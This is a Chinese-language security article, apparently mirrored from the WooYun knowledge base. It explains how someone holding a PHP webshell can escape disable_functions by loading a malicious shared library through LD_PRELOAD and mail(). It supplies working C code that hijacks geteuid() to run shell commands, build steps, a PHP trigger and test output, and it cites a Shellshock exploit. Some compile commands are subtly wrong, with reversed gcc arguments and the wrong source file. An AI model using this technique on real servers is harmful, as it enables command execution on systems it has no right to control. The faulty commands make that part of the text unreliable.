利用環境變數LD_PRELOAD來繞過php disable_function執行系統命令

wyzsk發表於2020-08-19
作者: YiYang · 2016/05/20 15:55

0x00 前言


在做滲透測試的時候如果遇到安全配置比較好的伺服器,當你透過各種途徑獲得一個php型別的webshell後,卻發現面對的是無法執行系統命令的尷尬,因為這類伺服器針對命令執行函式做了防範措施,後續的滲透行為都因此而止步。筆者這裡分享一個繞過思路,希望你能在實際測試中派上用場。

0x02 繞過思路


嚴苛環境下php設定的disable_function如下:

  • dl
  • exec
  • system
  • passthru
  • popen
  • proc_open
  • pcntl_exec
  • shell_exec

如果你遇到的設定中漏掉某些函式,那再好不過了,直接利用漏掉的函式繞過。但如果運氣不太好,遇到這種所有能直接執行系統命令的函式都被禁用的情況,那真是欲哭無淚。想反彈一個cmdshell變成奢望。當然考慮到開發使用等影響因素,一般web環境不應完全禁用。

筆者經過大量資料搜尋,發現在這種情況下還有幾種執行系統命令的方法,例如透過/proc/self/mem 修改got來劫持庫函式呼叫以及php反序列化記憶體破壞漏洞利用,但這些方法利用起來難度都較大,你得先搞清楚記憶體偏移地址等等知識點,並搭建相同的平臺進行除錯。而且一般來說安全配置還會嚴格限制使用者的檔案許可權並設定open_basedir,你根本沒有機會去讀取mem等檔案,很難利用成功。

那麼還有沒有別的方法?putenv和mail函式給了我們希望,如果系統沒有修補bash漏洞,利用網上已經給出的poc:http://www.exploit-db.com/exploits/35146/ 可以輕鬆繞過。

這個poc大體思路是透過putenv來設定一個包含自定義函式的環境變數,透過mail函式來觸發。為什麼mail函式能觸發,因為mail函式在執行過程中,php與系統命令執行函式有了交集,它呼叫了popen函式來執行,如果系統有bash漏洞,就直接觸發了惡意程式碼的執行。但一般這種漏洞,安全意識好一點的運維,都會給打上補丁了。

那麼我們來繼續挖掘一下它的思路,php的mail函式在執行過程中會預設呼叫系統程式/usr/sbin/sendmail,如果我們能劫持sendmail程式,再用mail函式來觸發就能實現我們的目的了。那麼我們有沒有辦法在webshell層來劫持它呢,環境變數LD_PRELOAD給我們提供了一種簡單實用的途徑。

0x03 LD_PRELOAD hack


在UNIX的動態連結庫的世界中,LD_PRELOAD是一個有趣的環境變數,它可以影響程式執行時的連結,它允許你定義在程式執行前優先載入的動態連結庫。如果你想進一步瞭解這些知識,可以去網上搜尋相關文章,這裡不做過多解釋,直接來看一段例程,就能明白利用原理。

例程:verifypasswd.c

#!c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
        printf("usage: %s <password>/n", argv[0]);
        return;
}
if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!/n");
        return;
}
printf("Invalid Password!/n");
}

程式很簡單,根據判斷傳入的字串是否等於"password",得出兩種不同結果。 其中用到了標準C函式strcmp函式來做比較,這是一個外部呼叫函式,我們來重新編寫一個同名函式:

#!c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
    printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
    return 0;
}

把它編譯為一個動態共享庫:

#!shell
$ gcc -o verifypasswd.c verifypasswd    

$ gcc -shared verifypasswd -o hack.so

透過LD_PRELOAD來設定它能被其他呼叫它的程式優先載入:

#!shell
$ export LD_PRELOAD="./hack.so"

執行給出的例程:

#!shell
$ ./verifypasswd  abcd  

$ Correct Password!

我們看到隨意輸入字串都會顯示密碼正確,這說明程式在執行時優先載入了我們自己編寫的程式。這也就是說如果程式在執行過程中呼叫了某個標準的動態連結庫的函式,那麼我們就有機會透過LD_PRELOAD來設定它優先載入我們自己編寫的程式,實現劫持。

0x04 實戰測試


那麼我們來看一下sendmail函式都呼叫了哪些庫函式,使用readelf -Ws /usr/sbin/sendmail命令來檢視,我們發現sendmail函式在執行過程動態呼叫了很多標準庫函式:

#!shell
[[email protected] Desktop]$ readelf -Ws /usr/sbin/sendmail  

Symbol table '.dynsym' contains 202 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000238     0 SECTION LOCAL  DEFAULT    1 
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND pcre_fullinfo
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.3 (3)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.3 (3)
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND db_version
    13: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    19: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND [email protected]_2.2.5 (2)
    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
......

從中選取一個合適的庫函式後我們就可以進行測試了:

  1. 編制我們自己的動態連結程式。
  2. 透過putenv來設定LD_PRELOAD,讓我們的程式優先被呼叫。
  3. 在webshell上用mail函式傳送一封郵件來觸發。

我們來測試刪除一個新建的檔案,這裡我們選取geteuid()函式來改造,先在/tmp目錄新建一個檔案check.txt。

編寫hack.c:

#!c
#include <stdlib.h>
#include <stdio.h>
#include <string.h> 

void payload() {
        system("rm /tmp/check.txt");
}   

int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

當這個共享庫中的geteuid被呼叫時,嘗試載入payload()函式,執行命令。這個測試函式寫的很簡單,實際應用時可相應調整完善。在攻擊機上(注意編譯平臺應和靶機平臺相近,至少不能一個是32位一個是64位)把它編譯為一個位置資訊無關的動態共享庫:

#!shell
$ gcc -c -fPIC hack.c -o hack 

$ gcc -shared hack -o hack.so

再上傳到webshell上,然後寫一段簡單的php程式碼:

#!php
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("[email protected]","","","","");
?>

在瀏覽器中開啟就可以執行它,然後再去檢查新建的檔案是否還存在,找不到檔案則表示系統成功執行了刪除命令,也就意味著繞過成功,測試中注意修改為實際路徑。 本地測試效果如下:

#!shell
[[email protected] Desktop]$ touch /tmp/check.txt
[[email protected] bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[[email protected] bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory

普通使用者許可權,目標檔案被刪除。

0x05 小結


以上方法在Linux RHEL6及自帶郵件服務+php5.3.X以下平臺測試透過,精力有限未繼續在其他平臺測試,新版本可能進行了相應修復。這種繞過行為其實也很容易防禦,禁用相關函式或者限制環境變數的傳遞,例如安全模式下,這種傳遞是不會成功的。這個思路不僅僅侷限於mail函式,你可以嘗試追蹤其他函式的呼叫過程,例如syslog等與系統層有交集的函式是否也有類似呼叫動態共享庫的行為來舉一反三。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章